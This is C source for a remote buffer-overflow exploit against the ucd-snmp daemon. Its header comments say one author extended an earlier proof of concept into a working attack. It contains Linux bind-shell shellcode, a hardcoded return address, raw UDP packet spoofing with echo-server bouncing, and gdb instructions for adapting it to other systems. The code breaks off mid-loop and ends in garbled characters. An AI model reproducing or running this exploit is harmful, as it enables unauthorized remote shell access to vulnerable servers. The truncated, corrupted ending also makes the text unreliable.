/* This snmpd exploit has been fixed and extended by Jove (jove@halo.nu), works for (ucd-snmp < 4.2.2) maybe others??
* There are two things you need to know to get it working on any linux system,
* 1) The return address, this you can find with gdb. break on _snmp_parse and do an
* x/200 on the data variable, choose somewhere in the top 0x90's you see as a ret
* address, I like to choose the middle.
* 2) The return address location, this also requires gdb. Run the exploit against your
* daemon of choice with the -x option specified. Take the last two hex digits and
* convert these to decimal. This is your return address position.
* This exploit code works, whether or not it works against your favorite daemon is another
* story all together but I tried to include instructions to help you get it working.
* have fun and only use it for legitimate purposes!!!
*/
/* snax.c - public release: Proof of concept exploit for ucd-snmpd-4.1.1.
*
* Demonstrates a snmpd exploit not dependant on snmpwalk or any of
* the ucd snmp utilities.
*
* This allows for the packet to be easily spoofed. Included is also a
* demonstration of how a packet may be bounced off of a UDP echo server.
*
* It's not a working exploit. RET_LOC and RET_ADDR are not correct
* for any platform, and there is no shellcode.
*
* This code is intended as an example only. Do not use it maliciously.
* Tested against Debian 2.2r5 (potato) snmpd_4.1.1-2.deb
*
* Author: rpc
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define ASN1_SZ 11
#define ASN2_SZ 36
#define HDR_SZ sizeof(struct iphdr) + sizeof(struct udphdr)
#define PACKET_SZ ASN1_SZ + ASN2_SZ
struct target_os
{
char *description;
char *shellcode;
int buffer_size;
int rets_position;
u_int32_t ret_address;
char nop;
};
int echo = 0;
/* Sniffed ASN values */
char snmp_asn1[] = "\x30\x82\x01\x23\x02\x01\x00\x04\x82\x01\x00"; /* 11 */
char snmp_asn2[] =
"\xa0\x82\x00\x20\x02\x04\x57\xc6\x36\xf6\x02\x01"
"\x00\x02\x01\x00\x30\x82\x00\x10\x30\x82\x00\x0c"
"\x06\x08\x2b\x06\x01\x02\x01\x01\x05\x00\x05\x00"; /* 36 */
char linux_code[] =
"\x31\xc0\x31\xdb\x89\xe5\x99\xb0\x66\x89\x5d\xfc\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x8d\x4d\xf4\xcd\x80\x89\x45\xf4\x43\x66\x89"
"\x5d\xec\x66\xc7\x45\xee\x27\x10\x89\x55\xf0\x8d\x45\xec\x89\x45"
"\xf8\xc6\x45\xfc\x10\xb2\x66\x89\xd0\x8d\x4d\xf4\xcd\x80\x89\xd0"
"\xb3\x04\xcd\x80\x43\x89\xd0\x99\x89\x55\xf8\x89\x55\xfc\xcd\x80"
"\x31\xc9\x89\xc3\xb1\x03\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
"\x0b\xcd\x80\0x00";
struct target_os the_targets[]= {
{"UCD-SNMP 4.1.2 / Slackware 8.0 compilation from source",linux_code,256,216,0xbfffd77c,0x90},
{(char *) NULL, (char *) NULL, 0, 0, 0, (char) 0} };
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
unsigned int resolve(char *host)
{
struct hostent *he;
unsigned int ipaddr;
if((he = gethostbyname(host)) == NULL) {
/* ip addr, or invalid. */
if((ipaddr = inet_addr(host)) == -1) {
printf("error resolving %s.\n", host);
exit(1);
}
return ipaddr;
}
memcpy(&ipaddr, he->h_addr, he->h_length);
return ipaddr;
}
char *
make_packet(char *buf, unsigned int src, unsigned int dst)
{
struct iphdr *ip;
struct udphdr *udp;
char *p;
int bufsz;
bufsz=strlen(buf);
p = (char *)malloc(HDR_SZ + PACKET_SZ + bufsz);
ip = (struct iphdr *)p;
udp = (struct udphdr *)(p + sizeof(*ip));
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(HDR_SZ + PACKET_SZ + bufsz);
ip->id = rand();
ip->frag_off = htons(IP_DF);
ip->ttl = 0x40;
ip->protocol = IPPROTO_UDP;
ip->saddr = src;
ip->daddr = dst;
ip->check = in_cksum((char *)ip, sizeof(*ip));
udp->source = echo ? htons(161) : rand();
udp->dest = echo? htons(7) : htons(161);
udp->len = htons(PACKET_SZ + bufsz);
udp->check = 0;
memcpy(p + HDR_SZ, snmp_asn1, ASN1_SZ);
memcpy(p + HDR_SZ + ASN1_SZ, buf, bufsz);
memcpy(p + HDR_SZ + ASN1_SZ + bufsz, snmp_asn2, ASN2_SZ);
return p;
}
int
main(int argc, char *argv[])
{
struct sockaddr_in sin;
char buf[2048];
u_int32_t addr;
char *p;
int sock;
int ret;
int src,dst;
int arg;
int one = 1;
int typeosys=0;
int cnt;
int debugit=0;
int port=161;
int shellcodelen;
if(argc < 3) {
printf("usage: %s [-e] [-s source] [-t #] [-x] [-p port] -d dest\n", argv[0]);
printf("The -e flag turns on echo mode. This sends the packet to a udp echo server.\n");
printf("Source and destination IP addresses should be reversed for echo mode.\n");
printf("Option x fills up the buffer with #'s 1-255 to help find the return\n");
printf("address location.\n");
printf("The -t flag specifies the system type we're exploiting, here's a list.\n");
for(cnt=0;the_targets[cnt].description!=(char *) NULL;cnt++)
printf("%d\t%s\n",cnt,the_targets[cnt].description);
exit(1);
}
src = resolve("127.0.0.1");
while((arg = getopt(argc, argv, "es:d:t:x:p:")) != -1) {
switch(arg) {
case 'e':
echo = 1;
break;
case 's':
src = resolve(optarg);
break;
case 'd':
dst = resolve(optarg);
break;
case 't':
typeosys = atoi(optarg);
break;
case 'x':
debugit=1;
break;
case 'p':
port = atoi(optarg);
default:
printf("Invalid argument, %c\n",arg);
exit(1);
}
}
if(dst == -1) {
printf("Missing address.\n");
exit(1);
}
printf("Creating exploitation packet for: %s\n",the_targets[typeosys].description);
shellcodelen=strlen(the_targets[typeosys].shellcode);
addr = the_targets[typeosys].ret_address;
memset(buf, the_targets[typeosys].nop, the_targets[typeosys].buffer_size);
memcpy(buf + the_targets[typeosys].rets_position, &addr, sizeof(addr));
memcpy(buf + the_targets[typeosys].rets_position - shellcodelen, the_targets[typeosys].shellcode, shellcodelen);
if(debugit==1) {
for(cnt=1;cnt |
| |
|
| | | |
|
|
|
|
|
|
| |
ÑÇÖÞÅ·ÃÀÔÚÏß